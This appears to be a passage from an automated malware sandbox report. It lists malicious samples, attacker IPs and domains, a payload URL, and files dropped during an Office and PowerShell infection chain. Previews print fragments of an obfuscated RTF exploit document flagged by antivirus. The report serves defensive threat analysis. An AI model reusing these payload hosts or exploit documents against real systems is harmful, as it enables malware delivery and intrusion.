	iWRmEn1DDT.rtf	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
tny.wtf	AVISO DE PAGO.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	AVISO DE PAGO.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	AVISO DE PAGO.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	PO S0042328241130.xls	Get hash	malicious	Remcos	Browse	188.114.97.3
	Scan copy.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	54.xls	Get hash	malicious	FormBook	Browse	188.114.97.3
	Order_490104.xls	Get hash	malicious	Unknown	Browse	188.114.96.3
	Scan copy.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	Order_490104.xls	Get hash	malicious	Unknown	Browse	188.114.96.3
	Scan copy.xls	Get hash	malicious	Unknown	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	6Vm1Ii4ASz.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	ynhHNexysa.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	http://lotsa.pplanr.com	Get hash	malicious	Unknown	Browse	104.21.44.162
	2FBexXRCHR.rtf	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	QMe7JpPtde.exe	Get hash	malicious	Unknown	Browse	104.26.2.16
	http://leostop.com	Get hash	malicious	Unknown	Browse	104.16.141.114
	file.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	file.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	https://odc.officeapps.live.com.mcas.ms/odc/v2.1/hrd?rs=en-US&Ver=16&app=111&p=6&hm=0&fpEnabled=1&McasTsid=REDACTED	Get hash	malicious	Unknown	Browse	1.1.1.1
	file.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
AS-COLOCROSSINGUS	BilseMHALF.rtf	Get hash	malicious	Unknown	Browse	172.245.123.11
	2FBexXRCHR.rtf	Get hash	malicious	AgentTesla	Browse	198.46.174.139
	DBytisGNuD.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	107.174.69.116
	LisectAVT_2403002A_101.exe	Get hash	malicious	Remcos	Browse	107.175.229.139
	LisectAVT_2403002A_111.exe	Get hash	malicious	Trickbot	Browse	108.174.60.238
	042240724.xls	Get hash	malicious	Remcos	Browse	198.46.176.133
	LisectAVT_2403002A_407.exe	Get hash	malicious	Remcos	Browse	107.175.229.139
	LisectAVT_2403002A_431.exe	Get hash	malicious	Remcos	Browse	107.175.229.139
	createdgoodthingswtihmewhilealot.gif.vbs	Get hash	malicious	Unknown	Browse	198.46.176.133
	greatbunfeelsoftandhoney.gif.vbs	Get hash	malicious	Unknown	Browse	198.46.176.133
AS-COLOCROSSINGUS	BilseMHALF.rtf	Get hash	malicious	Unknown	Browse	172.245.123.11
	2FBexXRCHR.rtf	Get hash	malicious	AgentTesla	Browse	198.46.174.139
	DBytisGNuD.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	107.174.69.116
	LisectAVT_2403002A_101.exe	Get hash	malicious	Remcos	Browse	107.175.229.139
	LisectAVT_2403002A_111.exe	Get hash	malicious	Trickbot	Browse	108.174.60.238
	042240724.xls	Get hash	malicious	Remcos	Browse	198.46.176.133
	LisectAVT_2403002A_407.exe	Get hash	malicious	Remcos	Browse	107.175.229.139
	LisectAVT_2403002A_431.exe	Get hash	malicious	Remcos	Browse	107.175.229.139
	createdgoodthingswtihmewhilealot.gif.vbs	Get hash	malicious	Unknown	Browse	198.46.176.133
	greatbunfeelsoftandhoney.gif.vbs	Get hash	malicious	Unknown	Browse	198.46.176.133

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.0255371792752877
Encrypted:	false
SSDEEP:	6:I3DPcNjNp3avxggLRdbNdAgnRXv//4tfnRujlw//+GtluJ/eRuj:I3DPsNFcJrAghvYg3J/
MD5:	A2988C9BB513879F0EDF037D4461E5C8
SHA1:	8D0B9049E1330C4700CD4FBEA6FCF8F602D81D64
SHA-256:	2DBCCFDFC42FEF69E08EBB630D0459A0A27831A7AA5E867891B464C1F6AD4B60
SHA-512:	0B3E983BDD91FE63DF1CAD8BC9EC3EB222E21F3A51D2E3F5FE8A3AC57D1AF5767F7A018043FE773138B398E204000882313DAA9548A4AEC58440A30DEAEC2648
Malicious:	false
Reputation:	low
Preview:	......M.eFy...z.....h.M.....O.lS,...X.F...Fa.q............................_....=.M..,6...M.............ME.G\|4..t......................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	4760
Entropy (8bit):	4.834060479684549
Encrypted:	false
SSDEEP:	96:RCJ2Woe5u2k6Lm5emmXIGxgyg12jDs+un/iQLEYFjDaeWJ6KGcmXSFRLcU6/KD:cxoe5uVsm5emdOgkjDt4iWN3yBGHydcY
MD5:	838C1F472806CF4BA2A9EC49C27C2847
SHA1:	D1C63579585C4740956B099697C74AD3E7C89751
SHA-256:	40A844E6AF823D9E71A35DFEE1FF7383D8A682E9981FB70440CA47AA1F6F1FF3
SHA-512:	E784B61696AB19C5A178204A11E4012A9A29D58B3D3BF1D5648021693883FFF343C87777E7A2ADC81B833148B90B88E60948B370D2BB99DEC70C097B5C91B145
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE............Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script...............T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\createdsimplethingstogetbackteachingentirethingsaroundtheworldtogetmebackwiththefreatgreatthings_____________sesheismygirlalwayssheismy[1].doc

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Rich Text Format data, version 1
Category:	dropped
Size (bytes):	90213
Entropy (8bit):	2.7121491474431463
Encrypted:	false
SSDEEP:	768:EO7QISQv1b7zWTV5ASjZEPY/n2c5b0DdKAf:Eu9NSJEPYB5b4xf
MD5:	C076233D7617CA66CCB0466E3245D96A
SHA1:	A99E2F83E4C842269CA6A7DCBE2D6E353A0B4A69
SHA-256:	9A409238F89598ABA3F9F22A7516A32FA7AF0E815ACEAF38EB6773288BCD49F7
SHA-512:	89292E072B61824DFCB30C82B1CED7B2A711555711930DD5382737A8FFBC95131D0C862E856C90E7643E0C1169DAB5B13B1CD306A528AFD3069DC29AA4EF01B0
Malicious:	true
Yara Hits:	Rule: INDICATOR_RTF_MalVer_Objects, Description: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents., Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\createdsimplethingstogetbackteachingentirethingsaroundtheworldtogetmebackwiththefreatgreatthings_____________sesheismygirlalwayssheismy[1].doc, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	low
Preview:	{\rtf1..{\\fldinst622249777 \+}.{\718881662>.=.3?~8`6!86???4`-.'/6)04+%4>@.7+)9<$3.,%$7'[0.,.4?=&-#?.`90%=[3(,9?~(7?[<=??9.<&?'3%,?^>`5#5<~?7.?+[?.=2'5,@38406&%@'?(?,,_.9@1~<'`+'0???`:8/`/3;-])..<24:?`:!?.<\|6$`\|1)?^)_[<?0.$\|?9=1?^3%>??:<@?8[0?/,:?%-?_0?',`??.%1`.::&=?]@_=)-#[-7](65!\|9@+/[7/1>.72,7`8+?(?(.3`?7?~.?1`6-6`&@~(/7'/(~^%)8#4`>8;4.9)??8/?`9./?\|_.0,:.61~:1%8.`#.98-6^5:?]!&5#2@!%??`4#-:.+%=!3=?5'[8,.)..]8?.<;&.4'?3[^==/%!$9`?;?8=%1?\|!:(3_-.<(,3106^3;;)?.16?]<>6;:%%8_.\|':>.$.2[%/9.-$;@\|#!/^>6%<($!%++~:\|7_%><2=%?<~+62(?)\|\|#:>9]~52(``07[2;?;1?3:4.+2#;%?$???9?79??!~.]&40..1?6;]?4^=%!18?&2\|[.>.4#._&21[/[\|@@.+@..9%!9$2>-!`[@@=+25+0<0?0:8@.?\|<?5=%(>:%.^.$'4?4)?+4-@#_<#%>.3..5;!$;.!(?(-[5^]?6?6-:??:52=-.6~)[?..&\|/9^.46:?<<]!+\|9]$6[5[]+0?~?^]4]%~)^\|.,$0,+9&^20^5)>]>;(+.93.\|!,(\|91<[.:?.@'81(+.&.86?;_&$:.+0]!:.'(#34#>%?22.~)?:03#>1.0-708\|<\|_)^4_?$<=&&7875&=4???[%6%#][?6[?>.04!2$\|.(<0!8#%2'^6?@%$]7[8+$?*`?(/?0.2-~./?(./.>954?:?.?>.+./41.9)_=@.62<~6`_$=`[0/)0?+64$?#~%

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\simplebeautygirlfrndhaveforme[1].gif

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	415848
Entropy (8bit):	3.5938135611796738
Encrypted:	false
SSDEEP:	3072:HHGzwfkYF6hNe4VTdRnTT8w4TWQZqbT0WgR2pKKtPt2uS7Ut4QzS18f8d6bb/g5g:0wfkYFNZqP0Hd0t/
MD5:	8917F751C05D497A4F29BF454BC19F48
SHA1:	31EAE7E64E0C6062FDD6C4DB81E31A2BE2C3A000
SHA-256:	2E0E8C2013DDE6B8F98ADF7A38208C6360AFB3D4F78408D903598250D2733CEC
SHA-512:	8D3B2E2BA380B2118A5DBA00615CBCCCAED76D7DAEE84B0D82B2CE4F6B9A26B61B0D8F7F8C1A6DB90EFBE729D08D6B972B94DFE041AFCB9D9D8682FB998575F7
Malicious:	false
Preview:	..'.....'. .C.o.p.y.r.i.g.h.t. .(.c.). .M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n... . .A.l.l. .r.i.g.h.t.s. .r.e.s.e.r.v.e.d.......'.....'. .V.B.S.c.r.i.p.t. .S.o.u.r.c.e. .F.i.l.e.....'.....'. .S.c.r.i.p.t. .N.a.m.e.:. .w.i.n.r.m...v.b.s.....'.........O.p.t.i.o.n. .E.x.p.l.i.c.i.t.........'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.....'. .E.r.r.o.r. .c.o.d.e.s.....p.r.i.v.a.t.e. .c.o.n.s.t. .E.R.R._.O.K. . . . . . . . . . . . . . .=. .0.....p.r.i.v.a.t.e. .c.o.n.s.t. .l.a.m.p.e.j.a.n.t.e. .=. .1.........'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.....'. .M.e.s.s.a.g.e.s.....p.r.i.v.a.t.e. .c.o.n.s.t. .L._.O.N.L.Y.C.S.C.R.I.P.T._.M.e.s.s.a.g.e. . . . . .=. .".C.a.n. .b.e. .e.x.e.c.u.t.e.d. .o.n.l.y. .b.y. .c.s.c.r.i.p.t...e.x.e...".....p.r.i.v.a.t.e. .c.o.n.s.t. .L._.U.N.K.O.P.N.M._.M.e.s.s.a.g.e. . . . . . . . . .=. .".U.n.k.n.o.w.n. .o.p.e.r.a.t.i.o.n. .n.a.m.e.:. .".....p.r.i.v.a.t.e. .c.o.n.s.t. .L._.O.P._.M.e.s.s.a.g.e. . . . . . . . . . . . . . .=. .".O.p.e.r.a.t.i.o.n. .-. .".....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4CD3B5B8.emf

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	3193460
Entropy (8bit):	4.046132403996407
Encrypted:	false
SSDEEP:	12288:f1DkEf5u3lGnjOjIwIusOwvhWXKcnXfxpDZaLUkWaNYHQo1qWwh1pPD8dt3iGnji:flkqu3IwaqSW1ZwhfPat3wwKuWh1Ow9
MD5:	ABA47100B0A1B138946AD211C50A0F1A
SHA1:	2E037F3298A5089A8EDC2AB8DDEEBA65EA12020E
SHA-256:	6608F935BA21AE99EF2395C913C1613C0A5608E14FC81703E6B3540FDDC43614
SHA-512:	9F7EA84FC3D1696C8C362194702D9E11C47907C25331DCFE4C2F6349C6F9358820FAF676EC8C6FF42EB42E814A57378A6F47113EC99DD234C2D2EDF12F7808F6
Malicious:	false
Preview:	....l...........{................D...`.. EMF....t.0.....0.......................@...........................F...,... ...EMF+.@..................`...`...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...................................................#..."...........!...................................................#..."...........!...................................................#..."...........!...................................................#...'................3f.....%....................3f.....................................L...d.......R.......c.......R...........!..............?...........?................................'.......................%...........(.......................L...d...................................!..............?...........?................................'...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\561BF11B.emf

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	3040040
Entropy (8bit):	3.946724551597298
Encrypted:	false
SSDEEP:	12288:s1QePI5R32GnjPjIwcusrwvsWXKcnXfxpMZacUkRaN7Hjo1PWwMD8dt3iGnjPjIC:sqeOR30wOSKx1OwMat3wwKuWh1OwM
MD5:	1866D5DE30DB65562B4AD95083EE3FA4
SHA1:	1BCB8B7B6032C8840605D1491E89F276478999EF
SHA-256:	BF41863E76D1692AAAD5CF9538F625F3EF918B7E7071EF98675E971662827507
SHA-512:	F5FF9D880706715BAD8E98B10C6891E565F8E826F30DCFDF3644161B995EC53EC18D79FEF1DE499020DEC52D386FE26B83AE70DB0D0015640245D327FB83E596
Malicious:	false
Preview:	....l...........z...r...........QN...a.. EMF....(c......"...................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!..............................................._...s..."...........!..............................................._...s..."...........!..............................................._...s..."...........!..............................................._...s..."...........!..............................................._...s...'...............ZZZ.....%...................ZZZ.....................................L...d...............p...............q...!..............?...........?................................'...............2.......%...........(...................2...L...d.......p...............p.......

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5F3A75C5.emf

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	3192228
Entropy (8bit):	4.049949730098601
Encrypted:	false
SSDEEP:	12288:T1ucJ+5734Gnj5jIwYusdwv+WXKcnXfxpaZauUknaNpHpo1tWw81Z4D8dt3iGnjE:TIcu73wwKKO31sw8b4at3wwKuWh1OwD
MD5:	6DED7DD02610506AA9AD1A99D82142B9
SHA1:	513B4CDA5326C772F0EE9D501FF4D87A22CC423B
SHA-256:	DEFD7E9344FF2B1538FE597EC105C3892890997E7769A0BA0D5FF4EE3BEB2829
SHA-512:	42A65593A70BEE68A6636F5D4E0D86ABB32B260D792811E9DEF4D9A5BAA3B4CF7EF18B6F284C2BEB262B8A6A5F05FC3398C96A445BEA9F336B0F8DAB9B20EFA5
Malicious:	false
Preview:	....l...........z...............!?..3X.. EMF......0.....0...................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'................3f.....%....................3f.....................................L...d...4...f...7...{...4...f...........!..............?...........?................................'.......................%...........(.......................L...d...............................$...!..............?...........?................................'...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7781BDD3.emf

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	42352
Entropy (8bit):	3.115670038061612
Encrypted:	false
SSDEEP:	384:x5H68srcOQd1vzssDDc60dghR4IdQtgpgRM:x5sQd1Ys/cahtCt8x
MD5:	8EA539501F8281777CD31C045F4C9C15
SHA1:	677DF5F4CA2A0BE8E6428C5FC11EAEFFA7DEFD0B
SHA-256:	F1146B9DA5645867D50D2BCEE857C056261E46A6A155E09299E2B8CBE86A40BE
SHA-512:	ED1A2683E1F597B6CA1F61242C7527B0D97527F614E897750364E31A245B0A95C7AFA41B220DFEEB5E57E42C5A4B4DCBC95F6A6291385686A22FA4CBB4217AB3
Malicious:	false
Preview:	....l...........;...............~@..xW.. EMF....p...........................j.......................{.......F...,... ...EMF+.@..................X...X...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..............................................<.......%...........%.......................R...p................................@..T.i.m.e.s. .N.e.w. .R.o.m.a.n.......................................................................z7^c$.............0.......0.......0............. .........0.......0.......0.....G................*..Ax...N..............T.i.m.e.s. .N.e.w. .R.o...F.....6...............@.0.................................................dv......%...........%...........%.......................T...T...........+...q........i.@...@....Z.......L...............<.......P... ...,...............T.......,...........q........i.@...@,...Z.......L...............<...........1.8.8.8.1.6.6.2.>...=...3.?.~.8.`.6.!.8.6.?.?.?.4.`.2...2...2...2...2...2...2...2...8...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C63FEFCD.doc

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Rich Text Format data, version 1
Category:	dropped
Size (bytes):	90213
Entropy (8bit):	2.7121491474431463
Encrypted:	false
SSDEEP:	768:EO7QISQv1b7zWTV5ASjZEPY/n2c5b0DdKAf:Eu9NSJEPYB5b4xf
MD5:	C076233D7617CA66CCB0466E3245D96A
SHA1:	A99E2F83E4C842269CA6A7DCBE2D6E353A0B4A69
SHA-256:	9A409238F89598ABA3F9F22A7516A32FA7AF0E815ACEAF38EB6773288BCD49F7
SHA-512:	89292E072B61824DFCB30C82B1CED7B2A711555711930DD5382737A8FFBC95131D0C862E856C90E7643E0C1169DAB5B13B1CD306A528AFD3069DC29AA4EF01B0
Malicious:	true
Yara Hits:	Rule: INDICATOR_RTF_MalVer_Objects, Description: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents., Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C63FEFCD.doc, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	{\rtf1..{\\fldinst622249777 \+}.{\718881662>.=.3?~8`6!86???4`-.'/6)04+%4>@.7+)9<$3.,%$7'[0.,.4?=&-#?.`90%=[3(,9?~(7?[<=??9.<&?'3%,?^>`5#5<~?7.?+[?.=2'5,@38406&%@'?(?,,_.9@1~<'`+'0???`:8/`/3;-])..<24:?`:!?.<\|6$`\|1)?^)_[<?0.$\|?9=1?^3%>??:<@?8[0?/,:?%-?_0?',`??.%1`.::&=?]@_=)-#[-7](65!\|9@+/[7/1>.72,7`8+?(?(.3`?7?~.?1`6-6`&@~(/7'/(~^%)8#4`>8;4.9)??8/?`9./?\|_.0,:.61~:1%8.`#.98-6^5:?]!&5#2@!%??`4#-:.+%=!3=?5'[8,.)..]8?.<;&.4'?3[^==/%!$9`?;?8=%1?\|!:(3_-.<(,3106^3;;)?.16?]<>6;:%%8_.\|':>.$.2[%/9.-$;@\|#!/^>6%<($!%++~:\|7_%><2=%?<~+62(?)\|\|#:>9]~52(``07[2;?;1?3:4.+2#;%?$???9?79??!~.]&40..1?6;]?4^=%!18?&2\|[.>.4#._&21[/[\|@@.+@..9%!9$2>-!`[@@=+25+0<0?0:8@.?\|<?5=%(>:%.^.$'4?4)?+4-@#_<#%>.3..5;!$;.!(?(-[5^]?6?6-:??:52=-.6~)[?..&\|/9^.46:?<<]!+\|9]$6[5[]+0?~?^]4]%~)^\|.,$0,+9&^20^5)>]>;(+.93.\|!,(\|91<[.:?.@'81(+.&.86?;_&$:.+0]!:.'(#34#>%?22.~)?:03#>1.0-708\|<\|_)^4_?$<=&&7875&=4???[%6%#][?6[?>.04!2$\|.(<0!8#%2'^6?@%$]7[8+$?*`?(/?0.2-~./?(./.>954?:?.?>.+./41.9)_=@.62<~6`_$=`[0/)0?+64$?#~%

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{3F1E4F80-4A4D-478E-8570-2CB2A855073D}.tmp

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	15872
Entropy (8bit):	5.699346730145622
Encrypted:	false
SSDEEP:	192:39Prbu6x/17WPwbuqb171PDwbuq/171Pwguq/171Pwbnvq/17:NPry6N1SPwyu1ZPEy+1ZPwB+1ZPwT+1
MD5:	DE743D8309BCE30D9C302D0DCCAAC141
SHA1:	22DCC3408E5C3D6346D2D68FA3014F47399E8CAD
SHA-256:	81EE38A778B69888C7662585A1891713E203C00437F8928D28EDB0F352598124
SHA-512:	5EDA0E1FF21FD4E7D95BBABC82707394DD5743F72C34066ED057A988433F3506DAC4694EC1252832F5A31D699CFD212236F8BFDBFAAEC25D7991A6F89FBD95C7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{80E112E3-75DA-4DF3-9899-18704AF73BE3}.tmp

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{D9F5E79B-1B44-4762-A46D-F26CF809F8B8}.tmp

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	3.565279302923872
Encrypted:	false
SSDEEP:	192:6F/8J1fZqAAR6tfTzPqs19SBx1wMQtYFQopHduuDPqgtiuS+oYBHSFkCa+bCChVa:5m76tfTzSs1WzwjNopbib+VBvnRKV1PI
MD5:	BE57F89FE5BB70729955389D4562F8DC
SHA1:	3154694500114C351E1C5A2B74A04BDE0F1D7B93
SHA-256:	4F52458A93B91846F47FD66E1312A7B0FD85F75C917E94709C1592890AF5BD4F
SHA-512:	DE7AF62B33F4C2FDCAFAAAEC6D49EA8FBA67A09C1584CA4E11C9515CE4E210496690CD41065AB682E38DFAB60086E96524A04FBAFB84353C88BC450D7B5FC40D
Malicious:	false
Preview:	..1.8.8.8.1.6.6.2.>...=...3.?.~.8.`.6.!.8.6.?.?.?.4.`.-...'./..6.).0.4.+.%.4.>.@...7.+.).9.<.$.3...,.%.$.7.'.[..0...,...4.?.=.&.-.#.?...`..9.0.%.=.[.3.(.,.9.?.~.(.7.?.[.<.=.?.?.9...<.&.?.'.3.%.,.?.^.>.`.5.#.5.<.~.?.7...?..+.[.?...=.2.'.5.,.@.3.8.4.0.6.&.%.@.'.?.(.?.,.,._...9.@.1.~.<..'.`.+.'.0.?.?.?.`.:.8./.`./.3.;.-.].).....<.2.4.:.?.`.:.!.?...<.\|.6.$.`.\|.1.).?.^.)._.[.<.?.0...$.\|.?.9.=.1.?.^.3.%.>.?.?.:.<.@.?.8.[.0.?./.,.:.?.%.-.?._.0.?.'.,.`.?.?...%.1.`...:.:.&.=.?.].@._.=.).-.#.[.-.7.].(.6.5.!.\|.9.@.+./.[.7./.1.>...7.2.,.7.`.8.+.?.(.?.(...3.`.?.7.?.~...?..1..`..6.-.6.`.&.@.~.(./.7.'./.(.~.^.%.).8.#.4.`.>.8.;..4...9.).?.?.8./.?.`.9.../.?.\|._...0.,..:...6.1.~.:.1.%.8...`.#...9.8.-.6.^.5.:.?.].!.&.5.#.2.@.!.%.?.?.`.4.#.-.:...+.%.=.!.3..=.?.5.'.[.8.,...).....].8.?...<.;.&...4.'.?.3.[.^.=.=./.%.!.$.9.`.?.;.?.8.=.%.1.?.\|.!.:.(.3._.-...<.(.,.3.1.0.6.^.3.;.;.).?...1.6.?.].<.>.6.;..:.%.%.8._...\|.'.:.>...$...2.[.%./.9...-.$.;.@.\|.#.!./.^.>.6.%.<.(.$.!.%.+.*.+.~.:.\|.7._.%.>.<.2.=.

C:\Users\user\AppData\Local\Temp\l1az5pkt.pka.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\qddwh0w3.rdd.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\{9BD2D6BF-73FD-445D-8003-A43EE7948AB2}

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.0255371792752877
Encrypted:	false
SSDEEP:	6:I3DPcNjNp3avxggLRdbNdAgnRXv//4tfnRujlw//+GtluJ/eRuj:I3DPsNFcJrAghvYg3J/
MD5:	A2988C9BB513879F0EDF037D4461E5C8
SHA1:	8D0B9049E1330C4700CD4FBEA6FCF8F602D81D64
SHA-256:	2DBCCFDFC42FEF69E08EBB630D0459A0A27831A7AA5E867891B464C1F6AD4B60
SHA-512:	0B3E983BDD91FE63DF1CAD8BC9EC3EB222E21F3A51D2E3F5FE8A3AC57D1AF5767F7A018043FE773138B398E204000882313DAA9548A4AEC58440A30DEAEC2648
Malicious:	false
Preview:	......M.eFy...z.....h.M.....O.lS,...X.F...Fa.q............................_....=.M..,6...M.............ME.G\|4..t......................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\{CE5D5AEF-4848-40BE-B01E-328C3D9B2873}

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.02565405508720011
Encrypted:	false
